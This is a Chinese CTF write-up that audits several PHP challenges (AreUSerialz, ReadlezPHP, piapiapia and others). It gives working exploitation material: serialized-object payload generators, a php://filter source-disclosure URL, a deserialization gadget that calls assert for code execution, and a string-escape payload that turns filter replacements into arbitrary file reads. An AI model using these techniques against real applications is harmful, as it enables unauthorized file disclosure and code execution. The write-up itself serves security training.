部分php代码审计习题(3)
[网鼎杯 2020 青龙组]AreUSerialz
打开容器即是源码
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
//protected需要特别注意的序列化时补上%00
protected $op;
protected $filename;
protected $content;
//实例化对象时会调用的魔术方法
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
//通过弱比较使其执行read()函数
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
//file_get_contents函数进行输出
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
//通过强弱类型比较绕过
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
//确保传入的str每个字母都在32-125之间
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
//在这里进行get传参
if(isset($_GET{'str'})) {
//确定不为空后转变为字符串
$str = (string)$_GET['str'];
if(is_valid($str)) {
//字符串反序列化
$obj = unserialize($str);
}
}
(思路已写入注释)
查查不会的函数和魔术方法:
ord() 返回字符串中第一个字符的 ASCII 值。
php作为一门弱类型语言。“”只会比较值是否相等,而“=”需要比较变量类型和值。
大概理清基本思路,传入一个序列化的字符串,最终通过调用read()函数从而实现拿到flag的目的。
那么,通过使op=2绕过__destruct
魔术方法,通过直接修改成员域的访问权限为public绕过is_valid()函数。那么进行序列化操作的代码是:
<?php
class FileHandler {
public $op = 2;
public $filename = "flag.php";
//会被赋值成空,所以$content在is_valid()允许的范围内选一个数字就可以了
public $content = "1";
}
$a = new FileHandler();
$flag = serialize($a);
print($flag);
?>
得到O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"1";}之后传入
从控制台可以拿到flag。以为read()只负责读取,没有打印在页面上,而是输出在了控制台里。其中,$filename可以使用伪协议
php://filter/read=convert.base64-encode/resource=flag.php
不过这样做需要进行base64解码得到flag,好处是刚刚提到直接传参文件包含后不会出现输出结果,而是当作php文件执行,通过伪协议可以直接读取文件源码,需要读多层php文件的时候比较常用伪协议。
提到伪协议的事情,这次简单提一下。形如标准协议HTTP、FTP的自定义协议叫做伪协议。常应用于文件包含漏洞中。我们比较常见的有filter,input,include等。一道题学习php://filter伪协议文章讲解的十分详细,同时我们也摸一下相似题。
[ACTF2020 新生赛]Include
直接考察伪协议,/?file=php://filter/read=convert.base64-encode/resource=flag.php
传入,防止php文件执行而是读取文件。得到字符串base64解码,发现flag在代码注释中。
[NPUCTF2020]ReadlezPHP
打开发现禁用右键了的样子。ctrl+u查看源代码。发现./time.php?source
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
//可利用构造点
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
//判断传入的是否为"source"字符串
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
//反序列化
@$ppp = unserialize($_GET["data"]);
(分析已写入注释)
代码很短,看了半天有一句$b($a)这里操作空间很大。
赋值$b = "System",$a = "phpinfo()",发现不行,System被禁止调用。使用assert替换。
<?php
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "phpinfo()";
$this->b = "assert";
}
}
$c = new HelloPhp;
echo serialize($c);
?>
获得序列化字符串,通过?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
打开phpinfo()。在控制台搜索flag即可获得flag。
最后出现的@运算符只对表达式有效。一个简单的规则就是:如果能从某处得到值,就能在它前面加上 @ 运算符。例如,可以把它放在变量,函数和 include() 调用,常量,等等之前。不能把它放在函数或类的定义之前,也不能用于条件结构例如 if 和 foreach 等。目前的“@”错误控制运算符前缀甚至使导致脚本终止的严重错误的错误报告也失效。这意味着如果在某个不存在或类型错误的函数调用前用了“@”来抑制错误信息,那脚本会没有任何迹象显示原因而死在那里。
[0CTF 2016]piapiapia
打开时一个登录页面,一时不知如何是好……猜测可能是SQL注入,随手输入信息观察反馈感觉不像SQL注入类题目。
disearch扫了一下,发现register.php,正规渠道注册登录,啥都没发现。可能是文件上传漏洞?怎么也没有绕过。
继续看扫描文件,出现了一个www. zip,猜测信息泄露,之后代码审计。代码有亿点多,慢慢看。
打开观察config.php,是用root权限,感觉可以读取flag。观察profile.php:
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
//通过file_get_contents()函数,让$profile['photo']为config.php拿flag
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
关注重点在于通过file_get_contents()函数,让$profile['photo']为config.php拿flag。可以对photo进行操作的地方在update.php。我们摘出其中的php代码:
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
//正则表达式限制(过滤),11位手机号,邮箱格式过滤,头像文件大小过滤
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
//这里是重点,限制数组传入长度不能超过10
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
//class.php中的文件
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>
其中值得关注的是,$nickname必须为字符,而且长度不超过十。为了保证程序继续运行,我们需要将其改为数组绕过长度限制,防止程序die。代码中使其序列化的时候使用了函数update_profile()为class.php中的文件。我们进行溯源(代码量较大的时候找需要的函数即可,可减少代码阅读量):
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
//其中调用到filter()
//这个地方会过滤常用的SQL语句关键字等,同时值非法会弹出“hacker”,可以说是非常的人性化
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
//preg_replace是执行正则表达式的搜索替换
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
//还有调用到的update()
//数据库更新数据
public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}
update_profile()函数的作用很明了了,就是过滤用户输入的敏感数据,并且进行序列化。
其实这个地方蛮难串起来的。首先理一理我们能操作的地方:
1.nickaname的长度限制存在漏洞,可以改为数组绕过。
2.photo需要替换为profig.php,从而取得flag。
3.正则表达式存在替换,where五字符长度会被替换为hacker六字符长度。可以为我们挤出空间去写多余的字符串。
4.所以我们应该构造字符串使得其进行字符串序列化逃逸,使反序列化。
这里找到一篇比较简短的总结php反序列化逃逸的文章,其中就提到where替换成hacker导致字符长度增加的情况。我们可以利用这个进行序列化字符串逃逸的构造。因为后面出现s:5:"photo";s:10:"config.php"的添加,共34个字符,所以我们写34个where增加字符:
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
抓包的时候除了传参之外,记得nickname改为nickname[]。
注册登录用户,填写基本信息的时候抓包修改,改后传入。我们直接登录profile.php页面,F12从图片信息中发现src="data:image/gif;base64,PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFnezY0NmI3NzRmLWFiYTYtNGFiOC05ZTY1LWU4MjViODQ2ZGE1OH0nOwo/Pgo="
base64解码之后为其源文件,其中包含flag。